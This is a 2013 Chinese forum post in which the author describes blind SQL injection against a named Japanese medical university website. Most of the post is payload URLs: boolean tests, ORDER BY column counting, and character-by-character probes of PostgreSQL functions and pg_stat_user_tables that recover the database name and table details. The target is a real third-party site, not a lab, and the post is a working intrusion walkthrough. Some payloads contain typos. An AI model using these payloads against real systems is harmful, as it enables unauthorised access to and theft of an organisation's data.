本帖最后由 王珂 于 2013-11-25 17:47 编辑
对postgresql注入很是陌生、、、、、
今天群里有人发了一个注入点,恰好就是这个,一点思路都没有,只好求助百度大神,
还真给我找到了,接下来是我的一点经验
注入点:[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278
然后:[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278
and 1 =1 正常
and 1 = 2错误
然后爆字段
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278
order by 37 正确
order by 38 错误
判断数据库的长度:
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20length(current_database()))%20between%200%20and%2030
正常,
说明数据库长度在0到30之间,我们慢慢减小间距,最后确定数据库长度为6,接下来我们看看数据库名是什么
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20ascii(substr(current_database(),1,1)))%20between%200%20and%2064 错误
,说明第一个字段不再0到64之间,
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20ascii(substr(current_database(),1,1)))%20between%200%264and%20100
正确,说明在64到一百之间,我们慢慢缩小间距,最后确定第一个字段的ASCll为97,接下来第二个
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20ascii(substr(current_database(),2,1)))%20between%20109and%20109
一直下去我们就可以将数据库名猜出来了:amcweb
然后呢,我们就来看看里面有多少个表吧
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20count(*)%20from%20pg_stat_user_tables)%20between%200%20and%2010
正确
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20count(*)%20from%20pg_stat_user_tables)%20between%206%20and%206
正确
说明有6个表,那么我们来看看表的长度是多少
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and
%20(select%20length(relname)%20from%20pg_stat_user_tables%20limit%201%20
OFFSET%200)%20between%200%20and%20128
正确
这句话的意思看看第一个表的长度是多少
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and
%20(select%20length(relname)%20from%20pg_stat_user_tables%20limit%201%20OFFSET%200)
%20between%2011%20and%2011
这两句说明第一个表的长度为:11
我们接下来看看第一个表的内容是什么、、
[AppleScript] 纯文本查看 复制代码 http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%2
0(select%20ascii(substr(relname,1,1))%20from%20pg_stat_user_tables%20limit%201%20OFFSET%200)%
20between%2099%20and%2099
这是第一个,这样一个一个下去,我们就可以猜到表名了
太费劲了,就没弄完…… |